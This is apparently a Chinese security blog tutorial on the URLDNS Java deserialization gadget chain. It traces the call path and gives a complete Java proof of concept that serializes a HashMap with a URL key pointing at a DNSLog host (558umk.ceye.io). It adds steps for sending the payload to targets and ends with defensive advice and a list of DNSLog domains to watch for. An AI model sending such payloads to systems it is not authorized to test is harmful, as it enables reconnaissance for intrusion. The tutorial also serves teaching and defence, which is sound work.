前言

Java 反序列化漏洞的利用通常依赖精心构造的 gadget chain(利用链)。在实战中,红队面临的首要问题往往不是”怎么拿 shell”,而是——目标到底有没有反序列化漏洞?URL DNS 这条利用链是 ysoserial 中最短、最通用的一条,它不执行命令、不写文件,只做一件事:触发一次 DNS 查询。正因如此,它是检测反序列化漏洞是否存在的最佳探针。

整条链的核心调用路径只有五步:

1
HashMap.put() -> hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> getHostAddress()

下面我们从源码级逐层追踪这条链,理清每个环节的逻辑,然后给出完整的 POC 和实战用法。

调用链完整追踪

起点:HashMap.put()

HashMap 实现了 Serializable 接口,其 readObject() 方法在反序列化时会重建 map,对每个 entry 调用 putVal(),而 putVal() 内部会先对 key 做一次 hash()

1
2
3
4
// HashMap.java
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

这意味着:**只要我们把一个 URL 对象作为 HashMap 的 key 放进序列化数据里,反序列化时它就一定会被 hash()**。

第二步:HashMap.hash()

hash() 的实现非常精简,直接调用 key 的 hashCode()

1
2
3
4
5
// HashMap.java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

到这里,调用权从 HashMap 移交到了 URL

第三步:URL.hashCode()

这是整条链最关键的一个方法,也是理解”为什么要用反射改写 hashCode”的入口:

1
2
3
4
5
6
7
8
9
10
// URL.java
private int hashCode = -1; // 成员变量默认 -1

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode; // 如果已经计算过,直接返回缓存

hashCode = handler.hashCode(this); // 否则调用 handler 计算,并缓存结果
return hashCode;
}

逻辑很清楚:hashCode 字段相当于一个懒加载缓存。初始值 -1 表示”未计算”,一旦计算过就会被赋值为一个非 -1 的正整数。之后的调用都走缓存,不再重新计算。

第四步:URLStreamHandler.hashCode()

handlerURL 内部的 transient URLStreamHandler 实例。它的 hashCode(URL u) 方法负责生成 URL 的哈希值——但在这个过程中,它会尝试解析主机地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// URLStreamHandler.java
protected int hashCode(URL u) {
int h = 0;

// 协议部分
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// 主机部分 —— 注意这里!
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// 文件路径部分
String file = u.getFile();
if (file != null)
h += file.hashCode();

// 端口部分
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// 引用部分
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

第五步:getHostAddress() — DNS 查询触发点

getHostAddress(u) 方法内部会调用 InetAddress.getByName(host),这正是执行 DNS 解析的地方。对于一个指向 DNSLog 平台的域名(如 http://558umk.ceye.io),这次解析请求会被 DNSLog 平台记录下来,从而确认目标主机执行了反序列化操作

整条链走完。总结调用关系:

1
2
3
4
5
6
7
8
ObjectInputStream.readObject()
└─ HashMap.readObject()
└─ HashMap.putVal()
└─ HashMap.hash(key)
└─ URL.hashCode()
└─ URLStreamHandler.hashCode(URL)
└─ URLStreamHandler.getHostAddress(URL)
└─ InetAddress.getByName(host) ← DNS 查询

完整漏洞 POC

基于以上分析,可以构造出最终的 Proof of Concept:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class url_dns {
public static void main(String[] args) throws Exception {
Map<Object, Object> map = new HashMap<>();
URL url = new URL("http://558umk.ceye.io");

// 第一步:通过反射将 URL 的 hashCode 改为非 -1 的值(比如 1213)
// 目的是防止 put() 时提前触发 DNS 请求
Class url_class = url.getClass();
Field field = url_class.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, 1213);

// 第二步:执行 put,此时 hashCode != -1,不会触发 DNS
map.put(url, "123");

// 第三步:put 完成后,将 hashCode 改回 -1
// 这样反序列化时 URL.hashCode() 会认为"未计算",从而进入 handler.hashCode()
field.set(url, -1);

serialize(map);
deserialize();
}

public static void serialize(Object o) throws IOException {
FileOutputStream outputStream = new FileOutputStream("2.ser");
ObjectOutputStream oos = new ObjectOutputStream(outputStream);
oos.writeObject(o);
oos.close();
}

public static void deserialize() throws IOException, ClassNotFoundException {
FileInputStream inputStream = new FileInputStream("2.ser");
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object o = ois.readObject();
ois.close();
}
}

为什么 hashCode = -1 是关键

这是整条利用链中最精妙、也最容易产生误解的地方。我们用一个问题来拆解:

为什么构造 POC 时要先用反射把 hashCode 设成非 -1,put 完再改回 -1?

答案分两层:

第一层:如果不做任何处理直接 map.put(url, "114") 会怎样?

1
2
3
HashMap map = new HashMap();
URL url = new URL("http://558umk.ceye.io");
map.put(url, "114"); // 这里就会触发一次 DNS 请求!

因为 URL 对象创建时 hashCode 默认值为 -1put 内部调用 hash() -> hashCode(),此时 hashCode == -1true,于是执行 handler.hashCode(this) -> getHostAddress()在构造阶段就发出了一次 DNS 请求。并且在 handler.hashCode(this) 返回后,URL 内部的 hashCode 被赋值为计算结果(一个正数),不再是 -1。

这意味着:序列化到文件里的 URL 对象,其 hashCode 字段已经是有值的了。反序列化时 URL.hashCode() 发现 hashCode != -1,直接返回缓存值,**根本不会进入 handler.hashCode()**——DNS 请求不会再次发出,利用链就断了。

第二层:反射操作的目的是什么?

步骤 操作 hashCode 值 效果
URL 创建后 (默认) -1 处于”未计算”状态
反射 set(1213) 改成一个非 -1 的值 1213 骗过 put() 里的检查,构造阶段不触发 DNS
map.put(url, “123”) 正常 put 1213 哈希计算走缓存,不进入 handler
反射 set(-1) 改回 -1 -1 重置为”未计算”状态
serialize() 写入文件 -1 序列化的对象 hashCode = -1
deserialize() 反序列化读取 -1 hashCode == -1 → 进入 handler.hashCode() → DNS 触发!

核心思路:序列化之前骗过 put(),序列化时让对象保持”未计算”状态,反序列化时自然触发

这里还有一个细节值得一提:URLStreamHandler handler 字段被声明为 transient,这意味着它不会参与序列化。反序列化时 JVM 会根据 URL 的协议(http)自动重新关联一个 Handler,所以完全不影响利用链的执行。

实际应用场景:确定目标是否存在反序列化漏洞(DNS pingback)

URL DNS 这条链最核心的实战价值在于检测反序列化漏洞是否存在。这在渗透测试中通常被称为 DNS pingback 技术。

为什么用它而不是直接上命令执行?

反序列化漏洞的利用链往往依赖于具体的类路径(classpath)环境。不同中间件、不同 JDK 版本、不同依赖库,可用的 gadget chain 完全不同。如果一个目标接收序列化数据但内部类不匹配,你精心构造的命令执行 payload 可能悄无声息地失败——而且你完全不知道是”没有漏洞”还是”链不匹配”。

DNS 查询则不同:

  • HashMapURL 是 JDK 内置类,从 Java 1.2 开始就存在
  • 这两个类都不依赖任何第三方库
  • DNS 协议走 UDP 53,出站流量在绝大多数网络环境中默认放行
  • DNSLog 平台(如 ceye.io、dnslog.cn、Burp Collaborator)提供免费、实时的查询记录

因此,URL DNS 是所有反序列化探测中最通用、噪音最小、成功率最高的方式

操作步骤

  1. 在 DNSLog 平台获取一个唯一的子域名,例如 abc123.ceye.io
  2. 使用上面的 POC 代码,将 URL 中的域名替换为自己的 DNSLog 地址
  3. 将生成的序列化数据(如 2.ser)以目标应用预期的方式发送过去(HTTP 请求体、Base64 编码后放入某个参数、甚至直接发给一个接受序列化数据的端口)
  4. 在 DNSLog 平台刷新,如果看到了 DNS 解析记录,则确认目标存在反序列化漏洞

如果 DNS 记录出现了,说明整条链在你发送的数据进入 ObjectInputStream.readObject() 之后被成功触发——这意味着你可以进一步尝试命令执行的 gadget chain。

防御与检测

开发者视角:防御

  1. 根本措施:避免反序列化不可信数据。 如果业务不需要接收序列化对象,就不要用 ObjectInputStream
  2. 使用白名单校验。 JDK 提供了 ObjectInputFilter(Java 9+)或可通过 jdk.serialFilter 系统属性全局配置,只允许反序列化指定类型的对象。
  3. 升级 JDK 版本。 较新版本的 JDK 对反序列化增加了更多内置限制和警告机制。
  4. 使用替代序列化方案。 JSON、Protobuf 等格式不受 Java 原生反序列化 gadget chain 的影响。

防守者视角:检测 DNS 出站探测

  1. 监控内网主机的 DNS 出站流量。 正常的业务服务器不应该频繁查询随机子域名。如果一台 Web 服务器突然尝试解析 abc123.ceye.io 这种明显是 DNSLog 平台的域名,高度可疑。
  2. 维护 DNSLog 平台域名特征库。 在 SIEM 或 DNS 安全产品中配置对以下域名的告警:*.ceye.io*.dnslog.cn*.burpcollaborator.net*.interact.sh 等。
  3. 网络层面限制。 如果没有特殊需求,生产环境服务器应只向受信任的 DNS 服务器发起解析,并限制出站 DNS 请求的目的域名范围。
  4. 应用层面日志。 在反序列化入口处增加日志,记录反序列化的来源 IP、目标类和调用栈,便于事后溯源。

参考